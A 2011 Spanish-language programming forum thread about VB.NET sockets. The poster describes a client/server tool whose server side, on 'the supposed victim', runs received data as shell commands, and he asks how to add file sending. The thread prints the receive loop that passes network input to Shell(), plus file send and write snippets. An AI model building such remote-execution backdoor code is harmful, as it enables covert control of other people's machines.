elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  [Duda] Sockets VB.NET
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Duda] Sockets VB.NET  (Leído 6,295 veces)
kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
[Duda] Sockets VB.NET
« en: 25 Septiembre 2011, 14:05 pm »

Buenas,

estoy trabajando en varias aplicaciones con sockets (cliente y servidor) lo tengo bien codeado, realiza las funciones de envio y recibo de datos, los datos recibidos son pasados por la shell en la máquina del server (la supuesta víctima) , ahora quiero enviar archivos pero intente codear las funciones de enviar archivos (en el cliente) y la de recibirlos (en el server) y no lo termino de conseguir. Necesito de vuestra destreza para conseguirlo, me urge porque cuanto antes lo tenga mucho mejor, es un proyecto al que me voy a dedicar durante un tiempo :)

Si me podeis guiar o facilitar algun método para enviar o recibir archivos en los sockets te lo agradecería muchísimo. Probé con el método sendfile y en el cliente leyendo los bytes pero se mezclan las funciones de recibir_archivos y recibir_datos.

Gracias y un saludo!


En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

Keyen Night


Desconectado Desconectado

Mensajes: 496


Nothing


Ver Perfil
Re: [Duda] Sockets VB.NET
« Respuesta #1 en: 25 Septiembre 2011, 20:05 pm »

Pon el source de como envias y recibes archivos quizás sea fácil decirte el error que tienes que hacer el código de nuevo. Recuerda, al enviar/recibir un archivo haces lo mismo que al enviar/recibir datos solo que la información va a parar a una ruta y no a la memoria de la aplicación.


En línea

La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...
kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
Re: [Duda] Sockets VB.NET
« Respuesta #2 en: 25 Septiembre 2011, 21:35 pm »

Buenas noches,

aquí te pongo el source de la funcion recibir_datos (los que son pasados a la shell)

Código:
        If tcpClient.Client.Connected = False Then
            Call iniciar_sockets()
        Else
            While (netStream.DataAvailable = True)
                Try
                    If netStream.CanRead = True Then
                        Dim bytes(100024) As Byte
                        netStream.Read(bytes, 0, bytes.Length)
                        Dim returndata As String = Encoding.ASCII.GetString(bytes)
                        Try
                            Shell(returndata)
                        Catch ex As Exception
                        End Try
                    Else
                        tcpClient.Close()
                        ' Closing the tcpClient instance does not close the network stream.
                        netStream.Close()
                        Return
                    End If
                Catch ex As Exception

                End Try
            End While
        End If

y aquí te pongo la funcion de enviar_archivos del Cliente

Código:
Private sub enviar_archivos(Byval archivo As String)
Try
sendfile(archivo)
Msgbox("Archivo enviado")
Catch ex As Exception
Msgbox(ex.message.tostring())
End try
End Sub

La ruta de la variable archivo la selecciono con un OpenFileDialog que le pasa dicha ruta por argumento a la variable.

Mi pregunta es, ¿qué función debo implementar en el server para recibir el archivo del método sendfile del cliente?

Muchas gracias tu ayuda.

Un saludo!
En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
Re: [Duda] Sockets VB.NET
« Respuesta #3 en: 28 Septiembre 2011, 14:24 pm »

¿Habría solución alguna?

Gracias.
En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
Re: [Duda] Sockets VB.NET
« Respuesta #4 en: 18 Diciembre 2011, 15:12 pm »

Vaya, no me acordaba de que este post seguía abierto.

Para el que esté interesado en el envío de archivos mediante Sockets, aquí dejo el método que teneís que llamar para enviar los ficheros:

Código:
tcpclient.client.sendfile("ruta_del_fichero")

Y para recibir el fichero y escribirlo en una ruta concreta, debeis nombrar una nueva variable Filestream que pueda crear un archivo, leerlo y escribirlo

Código:
 Dim fs As New FileStream("C:\ehn.ini", FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write, 100024)
                        fs.Write(bytes, 0, bytes.Length)
                        fs.Close()

Un saludo!
En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda - Sockets
Programación Visual Basic
xtermsh 2 2,320 Último mensaje 3 Enero 2010, 18:05 pm
por xtermsh
[Duda] Sockets Sincronizados
Java
Amerikano|Cls 0 2,311 Último mensaje 23 Enero 2010, 22:19 pm
por Amerikano|Cls
duda con gethostbyname sockets
Programación C/C++
dkmarley 3 4,382 Último mensaje 6 Septiembre 2010, 01:51 am
por dkmarley
Duda con Sockets sincrono y asincrono .. « 1 2 »
.NET (C#, VB.NET, ASP)
llAudioslavell 12 18,397 Último mensaje 14 Enero 2013, 21:49 pm
por spiritdead
DUDA, Cneccion Sockets
.NET (C#, VB.NET, ASP)
lamique 1 1,720 Último mensaje 9 Marzo 2013, 05:32 am
por El Benjo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines